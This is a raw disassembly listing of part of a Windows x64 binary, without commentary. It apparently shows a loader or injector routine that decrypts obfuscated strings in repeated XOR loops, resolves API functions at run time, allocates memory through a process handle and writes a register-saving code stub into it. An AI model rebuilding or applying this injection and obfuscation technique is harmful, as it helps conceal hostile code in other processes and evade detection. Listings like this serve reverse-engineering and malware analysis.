mov r8d, 0x82f1d106
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140026b90
lea r8, [rbp + 0x515]
mov rdx, r9
lea rcx, [rbp + 0xc8]
call fcn.140041810
nop
movzx eax, byte [rbp + 0x180]
test al, al
jne 0x140026bfb
mov byte [rbp + 0x180], 1
call fcn.14003d870
mov rcx, rax
mov qword [rbp + 0x188], rax
movzx eax, byte [rbp + 0x180]
jmp 0x140026c02
mov rcx, qword [rbp + 0x188]
cmp al, 1
jne 0x1400294a8
lea rdx, [rbp + 0xc8]
call fcn.1400385d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbx]
mov byte [rax], cl
mov byte [rbx], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbx + 8]
mov qword [rax + 8], rdx
mov qword [rbx + 8], rcx
movzx edx, byte [rbx]
lea rcx, [rbx + 8]
call fcn.140038180
nop
lea rcx, [rbp + 0xc8]
call fcn.140010b40
nop
mov byte [rbp + 0x170], 0
xor edx, edx
lea rcx, [rbp + 0x178]
call fcn.140038dd0
nop
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0xb8], rax
mov byte [rbp + 0x4e0], 6
mov r14, qword [rsp + 0x68]
mov qword [rbp + 0x4e8], r14
lea r9, [rbp + 0x165]
mov r8d, 0x64939495
nop
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140026c90
lea r8, [rbp + 0x165]
mov rdx, r9
lea rcx, [rbp + 0xc8]
call fcn.140041810
nop
movzx eax, byte [rbp + 0x170]
test al, al
jne 0x140026cfb
mov byte [rbp + 0x170], 1
call fcn.14003d870
mov rcx, rax
mov qword [rbp + 0x178], rax
movzx eax, byte [rbp + 0x170]
jmp 0x140026d02
mov rcx, qword [rbp + 0x178]
cmp al, 1
jne 0x1400293db
lea rdx, [rbp + 0xc8]
call fcn.1400385d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x4e0]
mov byte [rax], cl
mov byte [rbp + 0x4e0], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x4e8]
mov qword [rax + 8], rdx
mov qword [rbp + 0x4e8], rcx
movzx edx, byte [rbp + 0x4e0]
lea rcx, [rbp + 0x4e8]
call fcn.140038180
nop
lea rcx, [rbp + 0xc8]
call fcn.140010b40
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x30], rax
mov rsi, qword [rsp + 0x60]
movzx eax, byte [rsi + 0x1f9]
mov byte [rbp + 0x4e0], 4
mov byte [rbp + 0xb8], al
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x4e8], rax
lea r9, [rbp + 0x165]
mov r8d, 0xd0b853a
nop
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140026da0
lea r8, [rbp + 0x165]
mov rdx, r9
lea rcx, [rbp + 0xc8]
call fcn.140041810
nop
movzx eax, byte [rbp + 0x170]
test al, al
jne 0x140026e0b
mov byte [rbp + 0x170], 1
call fcn.14003d870
mov rcx, rax
mov qword [rbp + 0x178], rax
movzx eax, byte [rbp + 0x170]
jmp 0x140026e12
mov rcx, qword [rbp + 0x178]
cmp al, 1
jne 0x1400296c3
lea rdx, [rbp + 0xc8]
call fcn.1400385d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x4e0]
mov byte [rax], cl
mov byte [rbp + 0x4e0], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x4e8]
mov qword [rax + 8], rdx
mov qword [rbp + 0x4e8], rcx
movzx edx, byte [rbp + 0x4e0]
lea rcx, [rbp + 0x4e8]
call fcn.140038180
nop
lea rcx, [rbp + 0xc8]
call fcn.140010b40
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0xb8], rax
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x180]
call fcn.140035cf0
mov rbx, rax
xor eax, eax
mov qword [rbp + 0x4e8], rax
mov byte [rbp + 0x4e0], 3
lea ecx, [rax + 0x20]
call fcn.14015a210
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov qword [rbp + 0x4e8], rax
lea r9, [rbp + 0x165]
mov r8d, 0x7895ed1c
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x140026ef0
lea r8, [rbp + 0x165]
mov rdx, r9
lea rcx, [rbp + 0xc8]
call fcn.140041810
nop
movzx eax, byte [rbp + 0x170]
test al, al
jne 0x140026f5b
mov byte [rbp + 0x170], 1
call fcn.14003d870
mov rcx, rax
mov qword [rbp + 0x178], rax
movzx eax, byte [rbp + 0x170]
jmp 0x140026f62
mov rcx, qword [rbp + 0x178]
cmp al, 1
jne 0x14002966e
lea rdx, [rbp + 0xc8]
call fcn.1400385d0
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x4e0]
mov byte [rax], cl
mov byte [rbp + 0x4e0], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x4e8]
mov qword [rax + 8], rdx
mov qword [rbp + 0x4e8], rcx
movzx edx, byte [rbp + 0x4e0]
lea rcx, [rbp + 0x4e8]
call fcn.140038180
nop
lea rcx, [rbp + 0xc8]
call fcn.140010b40
nop
lea rcx, [rbp + 0x500]
call fcn.140010b40
lea rcx, [rsi + 0x260]
cmp qword [rsi + 0x278], 0xf
jbe 0x140026fe4
mov rcx, qword [rsi + 0x260]
mov rax, qword [rsi + 0x270]
mov qword [rbp + 0x150], rcx
mov qword [rbp + 0x158], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x170]
call fcn.140035cf0
nop
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14002701a
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x500], rcx
mov qword [rbp + 0x508], rax
movaps xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x150], xmm0
movaps xmm1, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x500], xmm1
mov dword [rsp + 0x20], select
lea r9, [rbp + 0x150]
xor r8d, r8d
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0xf0]
call fcn.14001fe60
nop
mov r8, qword [rax + 0x18]
test r8, r8
je 0x1400270a7
cmp qword [rax + 0x38], 0
je 0x1400270a7
lea rdx, [rax + 8]
cmp qword [rdx + 0x18], 0xf
jbe 0x14002708e
mov rdx, qword [rdx]
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x1400270a7
test rdx, rdx
je 0x1400270a7
test r8d, r8d
js 0x1400270a7
call fcn.1400bc460
nop
lea rax, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rax, qword [rbp + 0xf8]
mov qword [rbp + 0x108], rdi
mov byte [rax], 0
lea rax, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova rax, qword [rbp + 0x118]
mov qword [rbp + 0x128], rdi
mov byte [rax], 0
mov byte [rbp + 0xf1], 0xff
lea rcx, [rbp + 0x118]
call fcn.140010b40
lea rcx, [rbp + 0xf8]
call fcn.140010b40
nop
lea rcx, [rbp + 0xc8]
call fcn.140010b40
lea rcx, [rbp + 0x170]
call fcn.140035b60
lea rcx, [rbp + 0x180]
call fcn.140035b60
lea rcx, [rbp + 0x190]
call fcn.140035b60
cmp dword [rsi + 0x18], 0x345abc7
je 0x140027173
movzx eax, byte [rsi + 4]
test al, al
je 0x140029357
mov qword [rbp + 0xb8], 1
lea rcx, [rbp + 0xb8]
call fcn.14003c490
cmp dword [rsi + 0x18], 0x345abc7
jne 0x140027142
mov r14, qword [rsp + 0x68]
mov r8, qword [rsi + 0x98]
mov r9, qword [rsi + 0xa0]
sub r9, r8
mov qword [rsp + 0x20], rdi
mov rdx, r14
mov r15, qword [rsp + 0x58]
mov rcx, r15
call fcn.140047d60
test al, al
jne 0x140027890
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x1409820d0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1409820e0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1409820f0]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140982100]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x140982110]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x140982120]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140982128]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r10, rax
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [rbp + 0x97], 0
je 0x140027393
cmp r13d, 2
jl 0x14002734a
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140027393
lea r9, [rbp + 0x90]
mov r8d, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140027360
cmp byte [rbp + 0x14b], 0
je 0x140027533
mov r8d, edi
cmp r13d, 2
jl 0x1400274ed
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400273e0
cmp r8d, 0x5c
jge 0x140027533
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140027500
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x14b], 0
jne 0x1400276f3
mov r8d, edi
cmp r13d, 2
jl 0x1400276ad
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400275a0
cmp r8d, 0x5c
jge 0x1400276f3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400276c0
cmp byte [rbp + 0x97], 0
jne 0x140027853
cmp r13d, 2
jl 0x140027816
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140027853
lea r9, [rbp + 0x90]
mov r8d, edi
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140027820
call fcn.140039b70
mov rbx, rax
movzx ecx, word [0x14098200c]
mov word [rbp + 0x88], cx
cmp byte [0x14098200d], 0
je 0x140027880
mov byte [rbp + 0x88], Ordinal_50
xor byte [rbp + 0x89], 0x38
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov ecx, eax
call rbx
mov rcx, qword [rsi + 0x98]
mov r8, qword [rsi + 0xa0]
sub r8, rcx
xor edx, edx
call fcn.140195d30
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], rdi
mov dword [rbp + 0x160], 1
lea rax, [rbp + 0x158]
mov qword [rsp + 0x28], rax
mov edx, 0x1000
mov rcx, r15
call fcn.140047e50
mov r13, rax
mov dword [rbp + 0x160], 4
mov ecx, 0xb0
call fcn.14015a908
mov rbx, rax
mov qword [rbp + 0xb8], rax
xor edx, edx
mov r8d, 0xb0
mov rcx, rax
call fcn.140195d30
mov qword [rbp + 0xc0], rbx
call fcn.14003c5e0
mov r8d, 0x80
lea rdx, str.QRSUVWAPAQARASATAUAVAWH
mov rcx, rbx
call rax
lea rcx, [r13 + 0x80]
mov qword [rbp + 0x390], rcx
call fcn.14003c5e0
lea rcx, [rbx + 0x1c]
mov r8d, 8
lea rdx, [rbp + 0x390]
call rax
lea rsi, [rbx + 0x80]
mov qword [rbp + 0xc8], rdi
mov qword [rbp + 0xd0], rdi
mov dword [rbp + 0xd8], 1
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x28], rax
mov edx, 0x4000
mov rcx, r15
call fcn.140047e50
mov r12, rax
mov qword [rsp + 0x48], rax
mov dword [rbp + 0xd8], 4
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x310], rdi
mov qword [rbp + 0x318], rdi
xor r8d, r8d
lea rdx, [0x1401bf892]
lea rcx, [rbp + 0x300]
call fcn.140011c50
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x330], rdi
mov qword [rbp + 0x338], rdi
mov qword [rbp + 0x340], rdi
mov qword [rbp + 0x348], rdi
mov qword [rbp + 0x350], rdi
mov qword [rbp + 0x358], rdi
mov qword [rbp + 0x360], rdi
mov qword [rbp + 0x368], rdi
mov qword [rbp + 0x370], rdi
mov qword [rbp + 0x378], rdi
mov dword [rbp + 0x380], edi
movabs rax, 0x7a92952297b54bdb
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x500], rdi
mov qword [rbp + 0x508], rdi
mov dword [rbp + 0x510], 1
lea rax, [rbp + 0x508]
mov qword [rsp + 0x28], rax
mov edx, 0x4000
mov rcx, r15
call fcn.140047e50
mov r15, rax
movabs rax, 0x7a92952297b54bdb
mov qword [rbp + 0x328], rax
mov rdx, qword [rsp + 0x60]
mov ecx, dword [rdx + 0x30]
add rcx, r14
mov qword [rbp + 0x348], rcx
mov eax, dword [rdx + 0x34]
test eax, eax
je 0x140027a95
lea rcx, [r14 + rax]
mov qword [rbp + 0x338], rcx
jmp 0x140027a9c
mov qword [rbp + 0x338], rdi
lea r9, [rdx + 0x108]
lea rax, [rbp + 0x300]
cmp rax, r9
je 0x140027b18
mov r14, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 0xf
jbe 0x140027abd
mov r9, qword [r9]
mov rax, qword [rbp + 0x318]
cmp r14, rax
ja 0x140027aff
lea rbx, [rbp + 0x300]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x300]
mov qword [rbp + 0x310], r14
mov r8, r14
mov rdx, r9
mov rcx, rbx
call fcn.140195690
mov byte [rbx + r14], 0
mov rbx, qword [rbp + 0xb8]
jmp 0x140027b0e
mov rdx, r14
lea rcx, [rbp + 0x300]
call fcn.14001b7f0
mov rdx, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
movsxd rax, dword [rdx + 0x1ec]
mov qword [rbp + 0x320], rax
mov rax, qword [rdx + 0x28]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], r15
mov qword [rbp + 0x360], 0x4000
mov eax, dword [rdx + 0x50]
add rax, r14
mov qword [rbp + 0x378], rax
mov eax, dword [rdx + 0x48]
mov dword [rbp + 0x380], eax
mov qword [rsp + 0x20], rdi
mov r9d, 0x4000
lea r8, [0x1400355f0]
mov rdx, r15
mov rcx, qword [rsp + 0x58]
call fcn.140047d60
call fcn.140035ac0
test r12, r12
je 0x140027bb3
cmp qword [rbp + 0xd0], 0
je 0x140027bb3
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9d, 0x88
lea r8, [rbp + 0x300]
mov rdx, r12
mov rcx, rax
call fcn.140047d60
mov dword [rsi], edi
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 1
mov qword [rsi + 0x20], r12
call fcn.140035ac0
mov r12, qword [rbp + 0x158]
test r13, r13
je 0x140027c02
test r12, r12
je 0x140027c02
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9d, 0xb0
mov r8, rbx
mov rdx, r13
mov rcx, rax
call fcn.140047d60
call fcn.1400297d0
movabs rcx, 0xed7c311d1d7263f5
mov qword [rbp + 0x4e0], rcx
movabs rcx, 0x808012dcc318690a
mov qword [rbp + 0x4e8], rcx
movabs rcx, 0x85e23ef02b851b7
mov qword [rbp + 0x4f0], rcx
movabs rdx, 0x4f00428e4c56e804
mov qword [rbp + 0x4f8], rdx
movabs rcx, 0xed1031791d06639b
mov qword [rsp + 0x68], rcx
movabs rcx, 0x80ec12b8c3366966
mov qword [rsp + 0x70], rcx
movabs rcx, 0x85e23ef02b851db
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rdx
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
xorps xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x150], xmm0
xorps xmm1, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x160], xmm1
lea rcx, [rbp + 0x150]
call rax
mov rbx, rax
call fcn.140029ae0
mov r14, rax
mov rax, qword [rsp + 0x58]
mov r15d, dword [rax + 0x38]
movzx ecx, word [0x1409829fc]
mov word [rbp + 0x88], cx
cmp byte [0x1409829fd], 0
je 0x140027ce6
mov byte [rbp + 0x88], gethostname
xor byte [rbp + 0x89], 0x38
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov r9d, r15d
mov r8, rbx
mov rdx, r13
mov ecx, eax
call r14
mov r15, rax
test rax, rax
je 0x140028c50
cmp dword [rsi], 2
je 0x140028504
mov r14, qword [rsp + 0x60]
nop word [rax + rax]
call fcn.14003bd20
lea rcx, [r14 + 0x1a8]
cmp qword [r14 + 0x1c0], 0xf
jbe 0x140027d3d
mov rcx, qword [r14 + 0x1a8]
xor edx, edx
call rax
test rax, rax
je 0x14002933d
call fcn.14003c8f0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
mov ecx, dword [rcx + 0x38]
call rax
test eax, eax
jne 0x140028450
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x140981eb0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140981ec0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140981ed0]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140981ee0]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x140981ef0]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x140981f00]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140981f08]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r10, rax
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [rbp + 0x97], 0
je 0x140027f53
cmp ebx, 2
jl 0x140027f10
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140027f53
lea r9, [rbp + 0x90]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140027f20
cmp byte [rbp + 0x14b], 0
je 0x1400280f3
mov r8d, edi
cmp ebx, 2
jl 0x1400280ad
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
